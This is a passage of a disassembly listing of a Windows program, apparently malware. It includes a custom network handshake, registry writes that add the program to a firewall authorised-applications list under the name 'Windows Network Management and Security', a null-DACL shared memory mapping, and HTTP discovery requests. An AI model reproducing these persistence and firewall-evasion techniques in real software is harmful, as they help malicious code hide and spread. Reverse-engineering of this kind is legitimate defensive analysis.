sub_443017+13Ej ; sub_443017+158j test esi, esi jz short loc_44318F push [ebp+var_4] push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_442DA6 add esp, 0Ch loc_44318F: ; CODE XREF: sub_443017+161j cmp [ebp+arg_8], 0 jz short loc_4431BC mov eax, [ebp+arg_C] cmp [ebp+var_4], eax jle short loc_4431A3 mov eax, [ebp+arg_C] mov [ebp+var_4], eax loc_4431A3: ; CODE XREF: sub_443017+184j mov eax, [ebp+var_4] test eax, eax jz short loc_4431BC push eax push dword ptr [ebx+46Ch] push [ebp+arg_8] call sub_448E2B add esp, 0Ch loc_4431BC: ; CODE XREF: sub_443017+17Cj ; sub_443017+191j mov eax, [ebp+var_4] loc_4431BF: ; CODE XREF: sub_443017+2Cj ; sub_443017+5Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443017 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4431C6 proc near ; CODE XREF: sub_4433BC+18p ; DMN1:00445318p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_443017 add esp, 14h pop ebp retn sub_4431C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4431E1 proc near ; CODE XREF: DMN1:00445210p var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] lea edi, [ebp+var_80] lea edi, [ebp+var_80] mov word ptr [edi], 1 add edi, 2 mov word ptr [edi], 0Bh add edi, 2 and dword ptr [edi], 0 add edi, 4 mov ax, [ebp+arg_4] mov [edi], ax add edi, 4 or esi, 1000h mov ax, si mov [edi], ax add edi, 2 mov word ptr [edi], 40h add edi, 2 mov word ptr [edi], 20h add edi, 2 push 40h lea eax, [ebx+4] push eax push edi call sub_448E2B add esp, 0Ch add edi, 40h push 20h lea eax, [ebx+44h] push eax push edi call sub_448E2B add esp, 0Ch add edi, 20h push 0 lea eax, [ebp+var_80] mov edx, edi sub edx, eax push edx lea eax, [ebp+var_80] push eax push 1 push ebx call sub_442F45 add esp, 14h pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4431E1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi lea ebx, [ebp-80h] push 0 push 80h lea eax, [ebp-80h] push eax lea eax, [ebp-84h] push eax push dword ptr [ebp+8] call sub_443017 add esp, 14h mov esi, eax cmp word ptr [ebp-84h], 1 jnz short loc_4432B9 cmp esi, 0Ah jge short loc_4432E6 loc_4432B9: ; CODE XREF: DMN1:004432B2j cmp esi, 0Ah jge short loc_4432CB push offset aHandshakeRecvE ; "Handshake: recv() error\n" call nullsub_4 pop ecx jmp short loc_4432DF ; --------------------------------------------------------------------------- loc_4432CB: ; CODE XREF: DMN1:004432BCj movzx eax, word ptr [ebp-84h] push eax push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n" call nullsub_4 pop ecx pop ecx loc_4432DF: ; CODE XREF: DMN1:004432C9j xor eax, eax jmp loc_44339A ; --------------------------------------------------------------------------- loc_4432E6: ; CODE XREF: DMN1:004432B7j lea ebx, [ebp-80h] cmp word ptr [ebx], 1 jz short loc_443306 movzx eax, word ptr [ebx] push eax push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n" call nullsub_4 pop ecx pop ecx xor eax, eax jmp loc_44339A ; --------------------------------------------------------------------------- loc_443306: ; CODE XREF: DMN1:004432EDj add ebx, 2 mov edx, [ebp+0Ch] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 add ebx, 4 mov edx, [ebp+10h] mov ax, [ebx] mov [edx], ax add ebx, 4 mov edx, [ebp+14h] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 mov ax, [ebx] mov [ebp-82h], ax add ebx, 2 cmp word ptr [ebp-82h], 40h jz short loc_443349 xor eax, eax jmp short loc_44339A ; --------------------------------------------------------------------------- loc_443349: ; CODE XREF: DMN1:00443343j mov di, [ebx] add ebx, 2 cmp di, 20h jz short loc_443359 xor eax, eax jmp short loc_44339A ; --------------------------------------------------------------------------- loc_443359: ; CODE XREF: DMN1:00443353j sub esi, 10h movzx eax, word ptr [ebp-82h] movzx edx, di add eax, edx cmp esi, eax jge short loc_443370 xor eax, eax jmp short loc_44339A ; --------------------------------------------------------------------------- loc_443370: ; CODE XREF: DMN1:0044336Aj push 40h push ebx mov eax, [ebp+8] add eax, 4 push eax call sub_448E2B add esp, 0Ch add ebx, 40h push 20h push ebx mov eax, [ebp+8] add eax, 44h push eax call sub_448E2B add esp, 0Ch xor eax, eax inc eax loc_44339A: ; CODE XREF: DMN1:004432E1j ; DMN1:00443301j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1 lea eax, [ebp+0Ch] push eax push 29Ah push dword ptr [ebp+8] call sub_442FFA add esp, 10h pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4433BC proc near ; CODE XREF: DMN1:00445238p ; DMN1:004452EFp var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov [ebp+var_2], 0 push 1 lea eax, [ebp+var_2] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4431C6 add esp, 10h mov ebx, eax cmp [ebp+var_4], 29Ah jnz short loc_4433EB cmp ebx, 1 jz short loc_4433F0 loc_4433EB: ; CODE XREF: sub_4433BC+28j or eax, 0FFFFFFFFh jmp short loc_4433F4 ; --------------------------------------------------------------------------- loc_4433F0: ; CODE XREF: sub_4433BC+2Dj movzx eax, [ebp+var_2] loc_4433F4: ; CODE XREF: sub_4433BC+32j pop ebx mov esp, ebp pop ebp retn sub_4433BC endp ; =============== S U B R O U T I N E ======================================= sub_4433F9 proc near ; CODE XREF: sub_447EEC+3Ap push ebx push 10h call sub_4424B3 pop ecx mov ebx, eax pop ebx retn sub_4433F9 endp ; =============== S U B R O U T I N E ======================================= sub_443406 proc near ; CODE XREF: DMN1:0044343Fp ; DMN1:0044364Ap ... arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_443431 mov esi, [ebx+4] jmp short loc_443422 ; --------------------------------------------------------------------------- loc_443416: ; CODE XREF: sub_443406+1Ej mov edi, esi mov esi, [esi+8] push edi call sub_4424E1 pop ecx loc_443422: ; CODE XREF: sub_443406+Ej test esi, esi jnz short loc_443416 and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 and dword ptr [ebx+8], 0 loc_443431: ; CODE XREF: sub_443406+9j pop edi pop esi pop ebx retn sub_443406 endp ; --------------------------------------------------------------------------- push ebx mov ebx, [esp+8] test ebx, ebx jz short loc_44344C push ebx call sub_443406 pop ecx push ebx call sub_4424E1 pop ecx loc_44344C: ; CODE XREF: DMN1:0044343Cj pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_44344E proc near ; CODE XREF: DMN1:00445635p ; DMN1:00445B60p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx mov ecx, [esp+4+arg_4] mov bx, [esp+4+arg_8] mov eax, [esp+4+arg_0] mov edx, [eax+4] jmp short loc_443475 ; --------------------------------------------------------------------------- loc_443461: ; CODE XREF: sub_44344E+29j cmp [edx+4], ecx jnz short loc_443472 test bx, bx jz short loc_443470 cmp [edx], bx jnz short loc_443472 loc_443470: ; CODE XREF: sub_44344E+1Bj jmp short loc_443479 ; --------------------------------------------------------------------------- loc_443472: ; CODE XREF: sub_44344E+16j ; sub_44344E+20j mov edx, [edx+8] loc_443475: ; CODE XREF: sub_44344E+11j test edx, edx jnz short loc_443461 loc_443479: ; CODE XREF: sub_44344E:loc_443470j mov eax, edx pop ebx retn sub_44344E endp ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push 14h call sub_4424B3 pop ecx mov esi, eax mov eax, [ebx+4] mov [esi+8], eax mov [ebx+4], esi cmp dword ptr [ebx], 0 jnz short loc_44349D mov [ebx], esi loc_44349D: ; CODE XREF: DMN1:00443499j inc dword ptr [ebx+8] mov eax, [esp+10h] mov [esi+4], eax mov ax, [esp+14h] mov [esi], ax mov eax, esi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_4434B4 proc near ; CODE XREF: DMN1:00443661p ; sub_444FF1+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi mov ebx, [esp+8+arg_0] push 14h call sub_4424B3 pop ecx mov esi, eax cmp dword ptr [ebx], 0 jz short loc_4434D2 mov edx, [ebx] mov [edx+8], esi mov [ebx], esi jmp short loc_4434D7 ; --------------------------------------------------------------------------- loc_4434D2: ; CODE XREF: sub_4434B4+13j mov [ebx], esi mov [ebx+4], esi loc_4434D7: ; CODE XREF: sub_4434B4+1Cj inc dword ptr [ebx+8] mov eax, [esp+8+arg_4] mov [esi+4], eax mov ax, [esp+8+arg_8] mov [esi], ax mov eax, esi pop esi pop ebx retn sub_4434B4 endp ; =============== S U B R O U T I N E ======================================= sub_4434EE proc near ; CODE XREF: DMN1:00443605p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi push edi mov bx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_44351B ; --------------------------------------------------------------------------- loc_443501: ; CODE XREF: sub_4434EE+2Fj mov eax, [esp+0Ch+arg_4] cmp [esi+4], eax jnz short loc_443516 test bx, bx jz short loc_443514 cmp [esi], bx jnz short loc_443516 loc_443514: ; CODE XREF: sub_4434EE+1Fj jmp short loc_44351F ; --------------------------------------------------------------------------- loc_443516: ; CODE XREF: sub_4434EE+1Aj ; sub_4434EE+24j mov edi, esi mov esi, [esi+8] loc_44351B: ; CODE XREF: sub_4434EE+11j test esi, esi jnz short loc_443501 loc_44351F: ; CODE XREF: sub_4434EE:loc_443514j test esi, esi jnz short loc_443527 xor eax, eax jmp short loc_44356D ; --------------------------------------------------------------------------- loc_443527: ; CODE XREF: sub_4434EE+33j test edi, edi jz short loc_443541 mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_443539 mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_443539: ; CODE XREF: sub_4434EE+43j mov eax, [esi+8] mov [edi+8], eax jmp short loc_44355C ; --------------------------------------------------------------------------- loc_443541: ; CODE XREF: sub_4434EE+3Bj mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_44355C mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_44355C: ; CODE XREF: sub_4434EE+51j ; sub_4434EE+65j mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_4424E1 pop ecx xor eax, eax inc eax loc_44356D: ; CODE XREF: sub_4434EE+37j pop edi pop esi pop ebx retn sub_4434EE endp ; =============== S U B R O U T I N E ======================================= sub_443571 proc near ; CODE XREF: DMN1:00443630p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov ebx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_443593 ; --------------------------------------------------------------------------- loc_443583: ; CODE XREF: sub_443571+24j mov eax, [esp+0Ch+arg_4] sub eax, [esi+10h] cmp eax, ebx jnb short loc_443597 mov edi, esi mov esi, [esi+8] loc_443593: ; CODE XREF: sub_443571+10j test esi, esi jnz short loc_443583 loc_443597: ; CODE XREF: sub_443571+1Bj test esi, esi jnz short loc_44359F xor eax, eax jmp short loc_4435E5 ; --------------------------------------------------------------------------- loc_44359F: ; CODE XREF: sub_443571+28j test edi, edi jz short loc_4435B9 mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_4435B1 mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_4435B1: ; CODE XREF: sub_443571+38j mov eax, [esi+8] mov [edi+8], eax jmp short loc_4435D4 ; --------------------------------------------------------------------------- loc_4435B9: ; CODE XREF: sub_443571+30j mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_4435D4 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_4435D4: ; CODE XREF: sub_443571+46j ; sub_443571+5Aj mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_4424E1 pop ecx xor eax, eax inc eax loc_4435E5: ; CODE XREF: sub_443571+2Cj pop edi pop esi pop ebx retn sub_443571 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov si, [ebp+10h] xor edi, edi jmp short loc_4435FD ; --------------------------------------------------------------------------- loc_4435FA: ; CODE XREF: DMN1:0044360Fj xor edi, edi inc edi loc_4435FD: ; CODE XREF: DMN1:004435F8j movzx eax, si push eax push ebx push dword ptr [ebp+8] call sub_4434EE add esp, 0Ch test eax, eax jnz short loc_4435FA mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov esi, [ebp+10h] xor edi, edi jmp short loc_44362B ; --------------------------------------------------------------------------- loc_443628: ; CODE XREF: DMN1:0044363Aj xor edi, edi inc edi loc_44362B: ; CODE XREF: DMN1:00443626j push esi push ebx push dword ptr [ebp+8] call sub_443571 add esp, 0Ch test eax, eax jnz short loc_443628 mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push ebx call sub_443406 pop ecx mov eax, [esp+10h] mov esi, [eax+4] jmp short loc_44366C ; --------------------------------------------------------------------------- loc_443659: ; CODE XREF: DMN1:0044366Ej movzx eax, word ptr [esi] push eax push dword ptr [esi+4] push ebx call sub_4434B4 add esp, 0Ch mov esi, [esi+8] loc_44366C: ; CODE XREF: DMN1:00443657j test esi, esi jnz short loc_443659 pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443673 proc near ; CODE XREF: sub_443701+98p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E28 ; RegCreateKeyExA test eax, eax jnz short loc_4436C5 push [ebp+arg_C] call sub_448E4B pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E2C ; RegSetValueExA push [ebp+var_4] call dword_411E30 ; RegCloseKey loc_4436C5: ; CODE XREF: sub_443673+29j mov esp, ebp pop ebp retn sub_443673 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4436C9 proc near ; CODE XREF: DMN1:004437E8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E34 ; RegOpenKeyExA test eax, eax jnz short loc_4436FD push [ebp+arg_8] push [ebp+var_4] call dword_411E38 ; RegDeleteKeyA push [ebp+var_4] call dword_411E30 ; RegCloseKey loc_4436FD: ; CODE XREF: sub_4436C9+1Dj mov esp, ebp pop ebp retn sub_4436C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443701 proc near ; CODE XREF: sub_447EEC:loc_44811Dp var_20A = byte ptr -20Ah var_105 = byte ptr -105h push ebp mov ebp, esp sub esp, 20Ch push ebx push 104h lea eax, [ebp+var_105] push eax push 0 call dword_411CE0 ; GetModuleFileNameA mov ebx, eax mov [ebp+ebx+var_105], 0 cmp [ebp+var_105], 0 jz short loc_4437A1 lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax call sub_448E6B pop ecx pop ecx push dword_4128A8 lea eax, [ebp+var_105] push eax call sub_448E8B pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_105] push eax call sub_448E8B pop ecx pop ecx push offset aWindowsNetwork ; "Windows Network Management and Security"... lea eax, [ebp+var_105] push eax call sub_448E8B pop ecx pop ecx lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_443673 add esp, 10h loc_4437A1: ; CODE XREF: sub_443701+2Fj pop ebx mov esp, ebp pop ebp retn sub_443701 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 108h push ebx push 104h lea eax, [ebp-105h] push eax push 0 call dword_411CE0 ; GetModuleFileNameA mov ebx, eax mov byte ptr [ebp+ebx-105h], 0 cmp byte ptr [ebp-105h], 0 jz short loc_4437F0 lea eax, [ebp-105h] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_4436C9 add esp, 0Ch loc_4437F0: ; CODE XREF: DMN1:004437D5j pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4437F5 proc near ; CODE XREF: sub_443847+2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx cmp dword_411008, 0 jnz short loc_443842 push 14h push 40h call dword_411CE4 ; LocalAlloc mov ebx, eax push 1 push ebx call dword_411E3C ; InitializeSecurityDescriptor push 0 push 0 push 1 push ebx call dword_411E40 ; SetSecurityDescriptorDacl mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], 1 mov dword_411008, 1 loc_443842: ; CODE XREF: sub_4437F5+Ej pop ebx mov esp, ebp pop ebp retn sub_4437F5 endp ; =============== S U B R O U T I N E ======================================= sub_443847 proc near ; CODE XREF: DMN1:00445129p ; sub_447EEC+23Fp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi call sub_4437F5 push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 100h push 0 push 4 push offset dword_41292C push 0FFFFFFFFh call dword_411CE8 ; CreateFileMappingA mov ebx, eax test eax, eax jz short loc_4438B1 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 0B7h jz short loc_4438AF push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CF0 ; MapViewOfFile mov esi, eax test esi, esi jz short loc_4438AF mov ax, [esp+8+arg_0] mov [esi], ax mov ax, [esp+8+arg_4] mov [esi+2], ax push esi call dword_411CF4 ; UnmapViewOfFile loc_4438AF: ; CODE XREF: sub_443847+36j ; sub_443847+4Ej mov eax, ebx loc_4438B1: ; CODE XREF: sub_443847+29j pop esi pop ebx retn sub_443847 endp ; =============== S U B R O U T I N E ======================================= sub_4438B4 proc near ; CODE XREF: DMN1:00445145p arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi push edi xor edi, edi push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF8 ; OpenFileMappingA mov ebx, eax test eax, eax jz short loc_44390D push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CF0 ; MapViewOfFile mov esi, eax test esi, esi jz short loc_443904 mov ax, [esp+0Ch+arg_0] mov [esi], ax mov ax, [esp+0Ch+arg_4] mov [esi+2], ax push esi call dword_411CF4 ; UnmapViewOfFile xor edi, edi inc edi loc_443904: ; CODE XREF: sub_4438B4+33j push ebx call dword_411CFC ; CloseHandle mov eax, edi loc_44390D: ; CODE XREF: sub_4438B4+1Bj pop edi pop esi pop ebx retn sub_4438B4 endp ; =============== S U B R O U T I N E ======================================= sub_443911 proc near ; CODE XREF: DMN1:0044616Dp arg_0 = dword ptr 4 push ebx push esi push edi xor si, si push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF8 ; OpenFileMappingA mov ebx, eax test ebx, ebx jnz short loc_443936 mov eax, 0FFFFh jmp short loc_443978 ; --------------------------------------------------------------------------- loc_443936: ; CODE XREF: sub_443911+1Cj push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CF0 ; MapViewOfFile mov edi, eax test edi, edi jz short loc_44396E mov si, [edi] test si, si jz short loc_443963 mov edx, [esp+0Ch+arg_0] mov ax, [edi+2] mov [edx], ax jmp short loc_443967 ; --------------------------------------------------------------------------- loc_443963: ; CODE XREF: sub_443911+43j mov si, 0FFFFh loc_443967: ; CODE XREF: sub_443911+50j push edi call dword_411CF4 ; UnmapViewOfFile loc_44396E: ; CODE XREF: sub_443911+3Bj push ebx call dword_411CFC ; CloseHandle movzx eax, si loc_443978: ; CODE XREF: sub_443911+23j pop edi pop esi pop ebx retn sub_443911 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44397C proc near ; CODE XREF: sub_443A14+2Dp ; sub_443F6D+23Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_448E4B pop ecx mov edi, eax push [ebp+var_4] call sub_448E4B pop ecx mov ebx, eax jmp short loc_4439C0 ; --------------------------------------------------------------------------- loc_4439A2: ; CODE XREF: sub_44397C+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411D00 ; CompareStringA cmp eax, 2 jnz short loc_4439BE mov eax, esi jmp short loc_4439C6 ; --------------------------------------------------------------------------- loc_4439BE: ; CODE XREF: sub_44397C+3Cj inc esi dec edi loc_4439C0: ; CODE XREF: sub_44397C+24j cmp edi, ebx jge short loc_4439A2 xor eax, eax loc_4439C6: ; CODE XREF: sub_44397C+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44397C endp ; =============== S U B R O U T I N E ======================================= sub_4439CD proc near ; CODE XREF: sub_443A14+1C4p ; sub_443D01+12Cp arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] call dword_411CC8 ; GetTickCount lea esi, [eax+7D0h] loc_4439DF: ; CODE XREF: sub_4439CD+40j push ebx call sub_4429AD pop ecx test eax, eax jle short loc_4439EF xor eax, eax inc eax jmp short loc_443A11 ; --------------------------------------------------------------------------- loc_4439EF: ; CODE XREF: sub_4439CD+1Bj push offset a_ ; "." call sub_448A5B pop ecx push 12Ch call dword_411D04 ; Sleep call dword_411CC8 ; GetTickCount cmp eax, esi jb short loc_4439DF xor eax, eax loc_443A11: ; CODE XREF: sub_4439CD+20j pop esi pop ebx retn sub_4439CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443A14 proc near ; CODE XREF: sub_443F6D+337p var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 468h push ebx push esi push edi push 10h push 0 lea eax, [ebp+var_5C] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_5C], 2 xor di, di push offset aHttp ; "http://" push [ebp+arg_0] call sub_44397C pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_443A56 xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443A55: ; CODE XREF: sub_443A14+4Aj inc ebx loc_443A56: ; CODE XREF: sub_443A14+38j mov al, [ebx] test al, al jz short loc_443A60 cmp al, 2Fh jnz short loc_443A55 loc_443A60: ; CODE XREF: sub_443A14+46j jmp short loc_443A63 ; --------------------------------------------------------------------------- loc_443A62: ; CODE XREF: sub_443A14+57j inc ebx loc_443A63: ; CODE XREF: sub_443A14:loc_443A60j mov al, [ebx] test al, al jz short loc_443A6D cmp al, 2Fh jz short loc_443A62 loc_443A6D: ; CODE XREF: sub_443A14+53j xor esi, esi jmp short loc_443A85 ; --------------------------------------------------------------------------- loc_443A71: ; CODE XREF: sub_443A14+7Dj cmp esi, 3Fh jb short loc_443A7D xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443A7D: ; CODE XREF: sub_443A14+60j mov al, [ebx] mov [ebp+esi+var_40], al inc esi inc ebx loc_443A85: ; CODE XREF: sub_443A14+5Bj mov al, [ebx] test al, al jz short loc_443A93 cmp al, 3Ah jz short loc_443A93 cmp al, 2Fh jnz short loc_443A71 loc_443A93: ; CODE XREF: sub_443A14+75j ; sub_443A14+79j mov [ebp+esi+var_40], 0 cmp byte ptr [ebx], 3Ah jz short loc_443AA4 xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443AA4: ; CODE XREF: sub_443A14+87j inc ebx cmp byte ptr [ebx], 0 jnz short loc_443ACB xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443AB1: ; CODE XREF: sub_443A14+C3j movzx eax, di lea eax, [eax+eax*4] add eax, eax mov di, ax movzx eax, di movsx edx, byte ptr [ebx] sub edx, 30h add eax, edx mov di, ax inc ebx loc_443ACB: ; CODE XREF: sub_443A14+94j mov al, [ebx] test al, al jz short loc_443AD9 cmp al, 30h jl short loc_443AD9 cmp al, 39h jle short loc_443AB1 loc_443AD9: ; CODE XREF: sub_443A14+BBj ; sub_443A14+BFj cmp di, 1 jnb short loc_443AE7 xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443AE6: ; CODE XREF: sub_443A14+DBj inc ebx loc_443AE7: ; CODE XREF: sub_443A14+C9j mov al, [ebx] test al, al jz short loc_443AF1 cmp al, 2Fh jnz short loc_443AE6 loc_443AF1: ; CODE XREF: sub_443A14+D7j cmp byte ptr [ebx], 0 jnz short loc_443AFD xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443AFD: ; CODE XREF: sub_443A14+E0j lea eax, [ebp+var_40] push eax call sub_448503 ; inet_addr mov [ebp+var_58], eax movzx eax, di push eax call sub_4484D3 ; htons mov [ebp+var_5A], ax movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n" call sub_448A5B add esp, 0Ch push 6 push 1 push 2 call sub_4484B5 ; socket mov [ebp+var_44], eax cmp eax, 0FFFFFFFFh jnz short loc_443B44 and [ebp+var_44], 0 loc_443B44: ; CODE XREF: sub_443A14+12Aj cmp [ebp+var_44], 0 jnz short loc_443B51 xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443B51: ; CODE XREF: sub_443A14+134j lea eax, [ebp+var_40] push eax call sub_448503 ; inet_addr movzx edx, di push edx push eax push [ebp+var_44] call sub_4429D2 add esp, 0Ch test eax, eax jnz short loc_443B7E push [ebp+var_44] call sub_44292D pop ecx xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443B7E: ; CODE XREF: sub_443A14+158j movzx eax, di push eax lea eax, [ebp+var_40] push eax push ebx push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"... lea eax, [ebp+var_45C] push eax call sub_448ABB add esp, 14h lea eax, [ebp+var_45C] push eax call sub_448E4B pop ecx mov [ebp+var_48], eax push [ebp+var_48] lea eax, [ebp+var_45C] push eax push [ebp+var_44] call sub_442BF2 add esp, 0Ch cmp eax, [ebp+var_48] jz short loc_443BD5 push [ebp+var_44] call sub_44292D pop ecx xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443BD5: ; CODE XREF: sub_443A14+1AFj push [ebp+var_44] call sub_4439CD pop ecx push 10000h call sub_4424B3 pop ecx mov [ebp+var_4C], eax push 0FFFFh push [ebp+var_4C] push [ebp+var_44] call sub_442B7E add esp, 0Ch mov [ebp+var_48], eax test eax, eax jnz short loc_443C3D push [ebp+var_44] call sub_4429AD pop ecx mov [ebp+var_468], eax cmp eax, 0FFFFh jle short loc_443C26 mov [ebp+var_468], 0FFFFh loc_443C26: ; CODE XREF: sub_443A14+206j push [ebp+var_468] push [ebp+var_4C] push [ebp+var_44] call sub_442B47 add esp, 0Ch mov [ebp+var_48], eax loc_443C3D: ; CODE XREF: sub_443A14+1F0j push [ebp+var_48] movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"... call sub_448A5B add esp, 10h cmp [ebp+var_48], 1 jge short loc_443C74 push [ebp+var_4C] call sub_4424E1 pop ecx push [ebp+var_44] call sub_44292D pop ecx xor eax, eax jmp loc_443CFA ; --------------------------------------------------------------------------- loc_443C74: ; CODE XREF: sub_443A14+245j push offset asc_40F5EE ; "\n" push [ebp+var_4C] call sub_448EBB pop ecx pop ecx mov [ebp+var_460], eax test eax, eax jnz short loc_443CA3 push [ebp+var_4C] call sub_4424E1 pop ecx push 